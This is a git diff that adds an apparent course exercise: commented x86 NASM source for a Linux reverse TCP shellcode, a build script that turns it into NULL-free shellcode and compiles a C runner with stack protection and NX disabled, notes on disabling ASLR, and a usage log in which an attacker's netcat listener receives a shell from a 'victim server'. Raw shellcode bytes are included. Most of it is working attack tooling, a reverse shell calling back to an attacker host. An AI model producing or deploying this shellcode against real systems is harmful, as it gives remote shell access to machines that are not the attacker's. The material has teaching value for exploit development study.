diff --git a/exam2/NOTES b/exam2/NOTES new file mode 100644 index 0000000..b2f63b0 --- /dev/null +++ b/exam2/NOTES @@ -0,0 +1,12 @@ +NOTES + + no-stack-protector: disables GCC Stack-Smashing Protector (SSP), aka ProPolice + + execstack: disables Executable space protection (NX). + Or Data Execution Prevention (DEP) on Windows, + or Write XOR Execute (W^X) on BSD. + CPU’s NX bit ("Never eXecute"). + + To disalbe Address Space Layout Randomization (ASLR) when running binary + setarch `arch` -R ./program + diff --git a/exam2/USAGE b/exam2/USAGE new file mode 100644 index 0000000..55ea17b --- /dev/null +++ b/exam2/USAGE @@ -0,0 +1,35 @@ +USAGE + +1. attacker has 192.168.1.149 IP and runs nc to listen on 55005 port + +attacker $ nc -vl 55005 +[do not close it] + + +2. Running shellcode a victim server +exam2$ ./compile_all.sh shell_reverse_tcp 192.168.1.149 55005 + [I] Using custom port: 55005 + [+] Assembling shell_reverse_tcp.nasm with NASM ... + [+] Linking shell_reverse_tcp.o ... + [+] Generating shellcode with objdump ... + [+] Checking shellcode for NULLs ... + [+] Shellcode size is 117 bytes +"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xeb\x51\x5f\x31\xc0\xb0\x66\x31\xdb\xb3\x03\x31\xd2\xff\x37\x66\xff\x77\x04\x4b\x66\x53\x43\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x89\xd8\x31\xc0\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80\xe8\xaa\xff\xff\xff\xc0\xa8\x01\x95\xd6\xdd" + [+] Generating shellcode.c file with the shell_reverse_tcp shellcode ... + [+] Compiling shellcode.c with GCC ... + [+] All done! You can run the shellcode now: +$ ./shellcode + +exam2$ ./shellcode +Shellcode Length: 117 + + +3. Checking now your nc +attacker $ nc -vl 55005 +Connection from 192.168.1.149 port 55005 [tcp/*] accepted +id +uid=500(arno) gid=500(arno) groups=500(arno),18(dialout),498(desktop_admin_r),501(vboxusers) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 + + +Voila ! We've got a shell to a victim server. + diff --git a/exam2/compile_all.sh b/exam2/compile_all.sh new file mode 100755 index 0000000..8017410 --- /dev/null +++ b/exam2/compile_all.sh @@ -0,0 +1,157 @@ +#!/usr/bin/env sh +# +# Creates a shell_reverse_tcp shellcode +# +# Example +# ./compile_all.sh shell_reverse_tcp 192.168.1.1 12357 +# +# If no IP & Port specified, the default ones will be used 192.168.1.1 12357 +# +# IP and Port are stored in last 6 bytes in HEX +# + +ARG1=$1 # Specify program +ARG2=$2 # Specify IP +ARG3=$3 # Specify port + +# +# Check script usage and file existence +# +if [ -z "$ARG1" ]; then + echo " [I] Please specify program you would like to assemble!" + echo " [I] Usage example: ./compile_all.sh shell_reverse_tcp 192.168.1.1 12357" + exit 1; +elif [ -e "$ARG1" ]; then + if [[ $ARG1 == *nasm* ]]; then + ARG1=$(echo -ne $ARG1 |sed 's/.....$//g'); + echo $ARG1 + fi +elif [ ! -e "$ARG1".nasm ]; then + ARG1_GUESS=$(echo $ARG1 |sed 's/.nasm//g') + if [ -e "$ARG1_GUESS" ]; then + ARG1=$ARG1_GUESS + else + echo " [E] File "$ARG1" does not exist!" + exit 1; + fi +fi + + +# +# Validate nasm source file +# +if ! $(grep -qi ^global $ARG1.nasm 2>/dev/null); then + echo " [E] The file "$ARG1.nasm" does not appear to be a correct NASM source!" + exit 1; +fi + + +# +# Validate and Convert IP to HEX +# +function valid_ip() +{ + local ip=$1 + local stat=1 + + if [[ $ip =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]; then + OIFS=$IFS + IFS='.' + ip=($ip) + IFS=$OIFS + [[ ${ip[0]} -le 255 && ${ip[1]} -le 255 && \ + ${ip[2]} -le 255 && ${ip[3]} -le 255 ]] + stat=$? + fi + return $stat +} + +if [ -z "$ARG2" ]; then + echo " [E] Please specify IP" + exit 1; +else + if valid_ip $ARG2; then + IPHEX=$(printf '%.2x' ${ARG2//./ } | sed 's/../\\x&/g') + else + echo " [E] IP is not valid!" + exit 1; + fi +fi + + +# +# Port range check +# +if [ -z "$ARG3" ]; then + echo " [I] Default port will be used." + ARG3=12357; +elif ! [[ $ARG3 -ge 1024 && $ARG3 -le 65535 ]]; then + echo " [E] The port must be in range 1024..65535 !" + exit 1; +else + echo " [I] Using custom port: "$ARG3 +fi + + +# +# Assemble and link +# +echo " [+] Assembling "$ARG1".nasm with NASM ..." +nasm -f elf32 -o $ARG1.o $ARG1.nasm && \ +echo " [+] Linking "$ARG1".o ..." && \ +ld -m elf_i386 -o $ARG1 $ARG1.o && \ +echo -e " [+] Generating shellcode with objdump ..." && \ +SHELLCODE=$(objdump -d ./$ARG1 |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/' |sed 's/$/"/g') + + +# +# Set the custom port (if any was specified) for the shellcode +# +if [ -z "$ARG3" ]; then + FULL_SHELLCODE=$(echo $SHELLCODE) +else + PORT_HEX=$(printf '%.4x' $ARG3 | sed 's/../\\x&/g') + FULL_SHELLCODE=$(echo -n $SHELLCODE | sed 's/.........................$//' ; echo ${IPHEX}${PORT_HEX}"\"") +fi + + +# +# Check shellcode for NULLs +# +echo " [+] Checking shellcode for NULLs ..." +if [[ $FULL_SHELLCODE == *00* ]]; then + echo " [E] Your shellcode contains 00 (NULL) ! Most likely you need to change your IP or port." + exit 1 +fi + +echo -ne " [+] Shellcode size is "$(echo -ne $FULL_SHELLCODE|sed 's/\"//g'|wc -c)" bytes\n" +echo $FULL_SHELLCODE + + +# +# Generate shellcode.c +# +echo " [+] Generating shellcode.c file with the "$ARG1" shellcode ..." +cat > shellcode.c << EOF +#include +#include + +unsigned char code[] = \ +$FULL_SHELLCODE; + +main() +{ + printf("Shellcode Length: %d\n", strlen(code)); + int (*ret)() = (int(*)())code; + ret(); +} +EOF + + +# +# Compile C code with GCC +# +echo " [+] Compiling shellcode.c with GCC ..." +gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode + +echo -e " [+] All done! You can run the shellcode now: \n$ ./shellcode" diff --git a/exam2/shell_reverse_tcp.nasm b/exam2/shell_reverse_tcp.nasm new file mode 100644 index 0000000..97216be --- /dev/null +++ b/exam2/shell_reverse_tcp.nasm @@ -0,0 +1,196 @@ +; This program is free software: you can redistribute it and/or modify +; it under the terms of the GNU General Public License as published by +; the Free Software Foundation, either version 3 of the License, or +; (at your option) any later version. +; +; This program is distributed in the hope that it will be useful, +; but WITHOUT ANY WARRANTY; without even the implied warranty of +; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +; GNU General Public License for more details. +; +; You should have received a copy of the GNU General Public License +; along with this program. If not, see . + +; Filename: shell_reverse_tcp.nasm +; Author: Andrey Arapov +; 2013 March +; +; DESC: +; - Reverse connects to configured IP and Port +; - Execs Shell on successful connection +; +; IP and Port are the last 6 bytes of the shellcode. +; In hex \xc0\xa8\x01\x01\x30\x45 (0xc0a80101 = 192.168.1.1 AND 0x3045 = 12357) +; + +global _start + + +section .text + +_start: + +; +; Reverse engineering +; $ strace -e execve,socket,bind,connect nc 127.0.0.1 12357 +; execve("/usr/bin/nc", ["nc", "127.0.0.1", "12357"], [/* 59 vars */]) = 0 +; socket(PF_NETLINK, SOCK_RAW, 0) = 3 +; bind(3, {sa_family=AF_NETLINK, pid=0, groups=00000000}, 12) = 0 +; +; Below starts what we were looking for: +; +; socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3 +; connect(3, {sa_family=AF_INET, sin_port=htons(12357), sin_addr=inet_addr("127.0.0.1")}, 16) = -1 EINPROGRESS (Operation now in progress) +; + + ; + ; Starting to code + ; + + ; + ; =============================== SOCKET ===================================== + ; socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3 + ; + ; int socket(int domain, int type, int protocol); + ; + ; int socketcall(int call, unsigned long *args) + ; socketcall SYS_SOCKET socket() args + ; EAX EBX ECX + ; 102 1 (2, 1, 6) + ; + ; SYS_SOCKET will return file descriptor (fd) in EAX. + ; + + ; EAX + xor eax, eax + mov al, 102 ; socketcall + + ; EBX + xor ebx, ebx + mov bl, 1 ; SYS_SOCKET socket() + + ; ECX + xor ecx, ecx + push ecx + push BYTE 6 ; IPPROTO_TCP || int protocol); + push BYTE 1 ; SOCK_STREAM || int type, + push BYTE 2 ; AF_INET || socket(int domain, + mov ecx, esp ; ECX - PTR to arguments for socket() + int 0x80 + + ; EAX return + mov esi, eax ; save socket fd in ESI for later + + + ; + ; =============================== CONNECT ===================================== + ; + ; connect(3, {sa_family=AF_INET, sin_port=htons(12357), sin_addr=inet_addr("127.0.0.1")}, 16) = -1 EINPROGRESS (Operation now in progress) + ; + ; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); + ; + + jmp short call_get_ip_and_port +back2shellcode: + pop edi ; getting ip and port address from ESP + + ; EAX + xor eax, eax + mov al, 102 ; socketcall + + ; EBX + xor ebx, ebx + mov bl, 3 ; SYS_CONNECT connect() + + ; ECX + xor edx, edx +; push edx ; 0.0.0.0 - ALL interfaces +; push DWORD 0x0100007f ; 127.0.0.1 in reverse *** CONTAINS NULLs ! *** +; push DWORD 0x0101a8c0 ; 192.168.1.1 in reverse + push DWORD [edi] ; push IP + push WORD [edi+0x4] ; push port + dec ebx ; decreaes bl from 3 to 2 to use for the next push + push WORD bx ; 2 - AF_INET + inc ebx ; put back bl to 3 for SYS_CONNECT + mov ecx, esp ; ptr to struct sockaddr + + push BYTE 16 ; socklen_t addrlen); + push ecx ; const struct sockaddr *addr, + push esi ; connect(int sockfd, + mov ecx, esp ; ECX = PTR to arguments for connect() + int 0x80 ; sockfd will be in EBX + + + + ; + ; =============================== DUP FD ===================================== + ; + ; Before we spawn a shell, we need to forward all I/O (stdin,stdout,stderr) + ; to a client. For this, we can dup2 syscall to duplicate a file descriptor. + ; man 2 dup2 + ; int dup2(int oldfd, int newfd); + ; EAX, EBX, ECX + ; 63 sockfd 0 + ; 63 sockfd 1 + ; 63 sockfd 2 + ; + + ; move our sockfd to EAX + mov eax, ebx + + xor eax, eax + mov al, 63 ; dup2 syscall + xor ecx, ecx ; 0 - stdin + int 0x80 ; call dup2(sockfd, 0) + + mov al, 63 ; dup2 syscall + mov cl, 1 ; 1 - stdout + int 0x80 ; call dup2(sockfd, 1) + + mov al, 63 ; dup2 syscall + mov cl, 2 ; 2 - stderr + int 0x80 ; call dup2(sockfd, 2) + + + ; + ; =============================== EXECVE ===================================== + ; + ; Now as we forwarded sockfd to a client, we can spawn shell. + ; Prepare the path, in little-endian, using the Python + ; >>> '//bin/sh'[::-1].encode('hex') + ; '68732f6e69622f2f' + ; + ; int execve(const char *filename, char *const argv[], char *const envp[]); + ; EAX EBX, ECX, EDX + ; 11 '//bin/sh' PTR to EBX NULL + ; + ; + + ; EAX + xor eax, eax + mov al, 11 ; execve syscall + + ; EBX + xor edx, edx + push edx ; NULL termination of '//bin/sh' string + push 0x68732f6e ; '//bin/sh' in reverse + push 0x69622f2f ; beginning of '//bin/sh' string is here + mov ebx, esp ; put the address of '//bin/sh' into ebx via esp + + ; ECX + push edx ; NULL termination of a stack + push ebx ; load our '//bin/sh' on a stack + mov ecx, esp ; ECX is a PTR to stack where we've got EBX address to '//bin/sh' string. + + ; EDX + push edx ; NULL terminator + mov edx, esp ; EDX is a PTR to a stack which has an address to NULL. + int 0x80 ; call execve(EBX, ECX, EDX) + + +call_get_ip_and_port: + call back2shellcode +; dd 0x0101a8c0 ; DWORD 192.168.1.1 reverse (in hex) + db 0xc0, 0xa8, 0x01, 0x01 ; BYTE 192.168.1.1 straight (in hex) +; dw 0x4530 ; WORD 12357 reverse (in hex) + db 0x30, 0x45 ; BYTE 12357 straight (in hex)